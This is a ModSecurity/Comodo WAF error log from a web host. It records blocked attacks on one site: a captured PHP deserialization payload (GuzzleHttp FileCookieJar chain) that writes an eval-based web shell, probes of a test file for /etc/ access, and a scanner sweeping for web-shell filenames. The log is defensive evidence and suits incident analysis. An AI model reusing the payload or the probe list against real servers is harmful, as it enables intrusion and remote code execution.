[Thu Nov 20 21:49:35.190322 2025] [:error] [pid 40415:tid 40431] [client 144.48.39.84:58044] [client 144.48.39.84] ModSecurity: Access denied with code 403 (phase 2). Found 8 byte(s) in ARGS:profile_id outside range: 1-255. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "95"] [id "210410"] [rev "4"] [msg "COMODO WAF: Invalid character in request||windfarmcoolants.com.au|F|3"] [data "ARGS:profile_id=O:31:\\x22GuzzleHttp\\x5cCookie\\x5cFileCookieJar\\x22:3:{s:40:\\x22\\x00GuzzleHttp\\x5cCookie\\x5cFileCookieJar\\x00cookies\\x22;a:1:{i:0;O:27:\\x22GuzzleHttp\\x5cCookie\\x5cSetCookie\\x22:1:{s:33:\\x22\\x00GuzzleHttp\\x5cCookie\\x5cSetCookie\\x00data\\x22;a:2:{s:7:\\x22Expires\\x22;s:0:\\x22\\x22;s:5:\\x22Value\\x22;s:49:\\x22<?php eval(base64_decode($_SERVER['HTTP_X'])); ?>\\x22;}}}s:41:\\x22\\x00GuzzleHttp\\x5cCookie\\x5cFileCookieJar\\x00filename\\x22;s:23:\\x22./cache_public/sh.phtml\\x22;s:52:\\x22\\x00GuzzleHttp\\x5cCo..."] [severity "ERROR"] [tag "CWAF"] [tag "Protocol"] [hostname "windfarmcoolants.com.au"] [uri "/menu.php"] [unique_id "aR8cb6hjIyLSv09svwPSpwAAAc0"]
[Thu Nov 20 21:49:46.201971 2025] [:error] [pid 55342:tid 55392] [client 144.48.39.108:48370] [client 144.48.39.108] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /vendor/htmlawed/htmlawed/htmLawedTest.php"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/vendor/htmlawed/htmlawed/htmLawedTest.php"] [unique_id "aR8cerg6x32Tvk7fIG8EuwAAAFQ"]
[Thu Nov 20 21:50:01.224079 2025] [:error] [pid 34405:tid 34409] [client 144.48.39.124:49134] [client 144.48.39.124] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||windfarmcoolants.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /vendor/htmlawed/htmlawed/htmLawedTest.php"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/vendor/htmlawed/htmlawed/htmLawedTest.php"] [unique_id "aR8ciTFpvu8oRK7ATftCpgAAAQI"]
[Thu Nov 20 23:37:58.918855 2025] [:error] [pid 34405:tid 34414] [client 172.161.90.19:29876] File does not exist: /usr/local/apache/htdocs/suspended-page/neshe.php
[Thu Nov 20 23:37:59.176859 2025] [:error] [pid 34405:tid 34423] [client 172.161.90.19:29876] File does not exist: /usr/local/apache/htdocs/suspended-page/shell1.php
[Thu Nov 20 23:37:59.453114 2025] [:error] [pid 34405:tid 34417] [client 172.161.90.19:29876] File does not exist: /usr/local/apache/htdocs/suspended-page/sec.php
[Thu Nov 20 23:37:59.690088 2025] [:error] [pid 34405:tid 34421] [client 172.161.90.19:29876] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/filesss.php"] [unique_id "aR811zFpvu8oRK7ATftWcwAAAQ4"]
[Thu Nov 20 23:38:01.256847 2025] [:error] [pid 40636:tid 40659] [client 172.161.90.19:29858] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/filesss.php"] [unique_id "aR812QK8BWUoW3xq0HA92AAAA5M"]
[Thu Nov 20 23:38:03.479233 2025] [:error] [pid 55343:tid 55413] [client 172.161.90.19:30160] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/filesss.php"] [unique_id "aR8121WlO3EnyVMV7w7k0QAAAI4"]
[Thu Nov 20 23:38:05.528458 2025] [:error] [pid 40445:tid 40491] [client 172.161.90.19:30152] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/filesss.php"] [unique_id "aR813VH-MuFcoWRjXpa-jwAAAlA"]
[Thu Nov 20 23:38:07.141239 2025] [:error] [pid 55343:tid 55423] [client 172.161.90.19:29881] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ea.php"] [unique_id "aR8131WlO3EnyVMV7w7k1QAAAJg"]
[Thu Nov 20 23:38:08.892775 2025] [:error] [pid 34405:tid 34419] [client 172.161.90.19:29853] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ea.php"] [unique_id "aR814DFpvu8oRK7ATftWfAAAAQw"]
[Thu Nov 20 23:38:11.260297 2025] [:error] [pid 40537:tid 40565] [client 172.161.90.19:29829] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ea.php"] [unique_id "aR8146KlsL5kxTa3c1wSWQAAAtg"]
[Thu Nov 20 23:38:14.400509 2025] [:error] [pid 40636:tid 40662] [client 172.161.90.19:29871] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ea.php"] [unique_id "aR815gK8BWUoW3xq0HA96QAAA5Y"]
[Thu Nov 20 23:38:18.290149 2025] [:error] [pid 55343:tid 55411] [client 172.161.90.19:30147] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gi.php"] [unique_id "aR816lWlO3EnyVMV7w7k3wAAAIw"]
[Thu Nov 20 23:38:20.749197 2025] [:error] [pid 55430:tid 55453] [client 172.161.90.19:29864] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gi.php"] [unique_id "aR817PPZXaIMEU4pE7sz_wAAANQ"]
[Thu Nov 20 23:38:22.740947 2025] [:error] [pid 40445:tid 40481] [client 172.161.90.19:29872] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gi.php"] [unique_id "aR817lH-MuFcoWRjXpa-sQAAAkY"]
[Thu Nov 20 23:38:24.714277 2025] [:error] [pid 55342:tid 55390] [client 172.161.90.19:29867] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gi.php"] [unique_id "aR818Lg6x32Tvk7fIG8YZQAAAFI"]
[Thu Nov 20 23:38:26.214851 2025] [:error] [pid 34405:tid 34428] [client 172.161.90.19:30157] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/10.php"] [unique_id "aR818jFpvu8oRK7ATftWjAAAARU"]
[Thu Nov 20 23:38:27.844609 2025] [:error] [pid 55343:tid 55420] [client 172.161.90.19:29826] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/10.php"] [unique_id "aR8181WlO3EnyVMV7w7k5gAAAJU"]
[Thu Nov 20 23:38:29.609311 2025] [:error] [pid 55430:tid 55446] [client 172.161.90.19:29866] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/10.php"] [unique_id "aR819fPZXaIMEU4pE7s0BAAAAM0"]
[Thu Nov 20 23:38:30.966137 2025] [:error] [pid 40636:tid 40664] [client 172.161.90.19:30146] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/10.php"] [unique_id "aR819gK8BWUoW3xq0HA99AAAA5g"]
[Thu Nov 20 23:38:33.088392 2025] [:error] [pid 55430:tid 55441] [client 172.161.90.19:30171] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "aR81-fPZXaIMEU4pE7s0BgAAAMg"]
[Thu Nov 20 23:38:34.548459 2025] [:error] [pid 34405:tid 34421] [client 172.161.90.19:29959] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "aR81-jFpvu8oRK7ATftWlAAAAQ4"]
[Thu Nov 20 23:38:35.759904 2025] [:error] [pid 55340:tid 55362] [client 172.161.90.19:29968] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "aR81-_OxD-NeMydTybDSpwAAABE"]
[Thu Nov 20 23:38:37.504240 2025] [:error] [pid 40508:tid 40523] [client 172.161.90.19:29835] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/11.php"] [unique_id "aR81_axXNVCMW_ksxPv_yAAAAo0"]
[Thu Nov 20 23:38:38.424617 2025] [:error] [pid 40445:tid 40499] [client 172.161.90.19:30155] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/12.php"] [unique_id "aR81_lH-MuFcoWRjXpa-wQAAAlg"]
[Thu Nov 20 23:38:39.547966 2025] [:error] [pid 40508:tid 40514] [client 172.161.90.19:29964] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/12.php"] [unique_id "aR81_6xXNVCMW_ksxPv_zAAAAoQ"]
[Thu Nov 20 23:38:40.267982 2025] [:error] [pid 55342:tid 55382] [client 172.161.90.19:29974] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/12.php"] [unique_id "aR82ALg6x32Tvk7fIG8YbwAAAEo"]
[Thu Nov 20 23:38:40.939528 2025] [:error] [pid 55342:tid 55388] [client 172.161.90.19:29840] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/12.php"] [unique_id "aR82ALg6x32Tvk7fIG8YcgAAAFA"]
[Thu Nov 20 23:38:42.175560 2025] [:error] [pid 34405:tid 34425] [client 172.161.90.19:29842] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/13.php"] [unique_id "aR82AjFpvu8oRK7ATftWmwAAARI"]
[Thu Nov 20 23:38:43.217455 2025] [:error] [pid 34405:tid 34419] [client 172.161.90.19:29880] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/13.php"] [unique_id "aR82AzFpvu8oRK7ATftWnAAAAQw"]
[Thu Nov 20 23:38:44.575426 2025] [:error] [pid 55340:tid 55365] [client 172.161.90.19:30158] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/13.php"] [unique_id "aR82BPOxD-NeMydTybDSrwAAABQ"]
[Thu Nov 20 23:38:45.704343 2025] [:error] [pid 55343:tid 55423] [client 172.161.90.19:30177] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/13.php"] [unique_id "aR82BVWlO3EnyVMV7w7k8QAAAJg"]
[Thu Nov 20 23:38:48.145242 2025] [:error] [pid 40636:tid 40659] [client 172.161.90.19:29837] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hi.php"] [unique_id "aR82CAK8BWUoW3xq0HA9_gAAA5M"]
[Thu Nov 20 23:38:50.027018 2025] [:error] [pid 40508:tid 40517] [client 172.161.90.19:29851] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hi.php"] [unique_id "aR82CqxXNVCMW_ksxPv_2QAAAoc"]
[Thu Nov 20 23:38:51.652602 2025] [:error] [pid 34405:tid 34415] [client 172.161.90.19:29956] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hi.php"] [unique_id "aR82CzFpvu8oRK7ATftWnwAAAQg"]
[Thu Nov 20 23:38:52.354371 2025] [:error] [pid 34405:tid 34414] [client 172.161.90.19:29843] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hi.php"] [unique_id "aR82DDFpvu8oRK7ATftWogAAAQc"]
[Thu Nov 20 23:38:54.519662 2025] [:error] [pid 40415:tid 40424] [client 172.161.90.19:30175] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/v.php"] [unique_id "aR82DqhjIyLSv09svwPo5gAAAcY"]
[Thu Nov 20 23:38:55.877979 2025] [:error] [pid 40636:tid 40664] [client 172.161.90.19:29839] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/v.php"] [unique_id "aR82DwK8BWUoW3xq0HA-CAAAA5g"]
[Thu Nov 20 23:38:57.844896 2025] [:error] [pid 40415:tid 40436] [client 172.161.90.19:29869] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/v.php"] [unique_id "aR82EahjIyLSv09svwPo7QAAAdI"]
[Thu Nov 20 23:38:59.787491 2025] [:error] [pid 40445:tid 40493] [client 172.161.90.19:30161] File does not exist: /usr/local/apache/htdocs/suspended-page/v.php
[Thu Nov 20 23:39:00.042021 2025] [:error] [pid 40445:tid 40498] [client 172.161.90.19:30161] File does not exist: /usr/local/apache/htdocs/suspended-page/ar.php
[Thu Nov 20 23:39:00.308802 2025] [:error] [pid 40445:tid 40496] [client 172.161.90.19:30161] File does not exist: /usr/local/apache/htdocs/suspended-page/article.php
[Thu Nov 20 23:39:00.552524 2025] [:error] [pid 40445:tid 40482] [client 172.161.90.19:30161] File does not exist: /usr/local/apache/htdocs/suspended-page/install.php
[Thu Nov 20 23:39:00.813178 2025] [:error] [pid 40445:tid 40484] [client 172.161.90.19:30161] File does not exist: /usr/local/apache/htdocs/suspended-page/1.php
[Thu Nov 20 23:39:01.053498 2025] [:error] [pid 40445:tid 40495] [client 172.161.90.19:30161] File does not exist: /usr/local/apache/htdocs/suspended-page/bak.php
[Thu Nov 20 23:39:01.303466 2025] [:error] [pid 40445:tid 40475] [client 172.161.90.19:30161] File does not exist: /usr/local/apache/htdocs/suspended-page/ini.php
[Thu Nov 20 23:39:01.552445 2025] [:error] [pid 40445:tid 40483] [client 172.161.90.19:30161] File does not exist: /usr/local/apache/htdocs/suspended-page/mail.php
[Thu Nov 20 23:39:01.791796 2025] [:error] [pid 40445:tid 40488] [client 172.161.90.19:30161] File does not exist: /usr/local/apache/htdocs/suspended-page/dlu.php
[Thu Nov 20 23:39:02.033140 2025] [:error] [pid 40445:tid 40487] [client 172.161.90.19:30161] File does not exist: /usr/local/apache/htdocs/suspended-page/zde.php
[Thu Nov 20 23:39:02.272259 2025] [:error] [pid 40445:tid 40486] [client 172.161.90.19:30161] File does not exist: /usr/local/apache/htdocs/suspended-page/ifm.php
[Thu Nov 20 23:39:02.580388 2025] [:error] [pid 40445:tid 40494] [client 172.161.90.19:30161] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/redi.php"] [unique_id "aR82FlH-MuFcoWRjXpa-7QAAAlM"]
[Thu Nov 20 23:39:04.893091 2025] [:error] [pid 55340:tid 55359] [client 172.161.90.19:29878] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/redi.php"] [unique_id "aR82GPOxD-NeMydTybDSwQAAAA4"]
[Thu Nov 20 23:39:08.506973 2025] [:error] [pid 55430:tid 55446] [client 172.161.90.19:30173] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/redi.php"] [unique_id "aR82HPPZXaIMEU4pE7s0KwAAAM0"]
[Thu Nov 20 23:39:11.350564 2025] [:error] [pid 40445:tid 40494] [client 172.161.90.19:29838] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/redi.php"] [unique_id "aR82H1H-MuFcoWRjXpa-_wAAAlM"]
[Thu Nov 20 23:39:14.018330 2025] [:error] [pid 55430:tid 55436] [client 172.161.90.19:30176] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fns.php"] [unique_id "aR82IvPZXaIMEU4pE7s0MgAAAMM"]
[Thu Nov 20 23:39:17.037915 2025] [:error] [pid 40415:tid 40429] [client 172.161.90.19:30187] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fns.php"] [unique_id "aR82JahjIyLSv09svwPo_gAAAcs"]
[Thu Nov 20 23:39:19.339094 2025] [:error] [pid 40445:tid 40487] [client 172.161.90.19:29886] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fns.php"] [unique_id "aR82J1H-MuFcoWRjXpa_CgAAAkw"]
[Thu Nov 20 23:39:20.533304 2025] [:error] [pid 40445:tid 40494] [client 172.161.90.19:30194] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fns.php"] [unique_id "aR82KFH-MuFcoWRjXpa_DwAAAlM"]
[Thu Nov 20 23:39:24.171249 2025] [:error] [pid 55343:tid 55400] [client 172.161.90.19:29863] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pent.php"] [unique_id "aR82LFWlO3EnyVMV7w7k_wAAAIE"]
[Thu Nov 20 23:39:25.675648 2025] [:error] [pid 55430:tid 55436] [client 172.161.90.19:30150] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pent.php"] [unique_id "aR82LfPZXaIMEU4pE7s0PgAAAMM"]
[Thu Nov 20 23:39:26.565649 2025] [:error] [pid 40415:tid 40426] [client 172.161.90.19:29844] [client 172.161.90.19] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pent.php"] [unique_id "aR82LqhjIyLSv09svwPpBQAAAcg"]
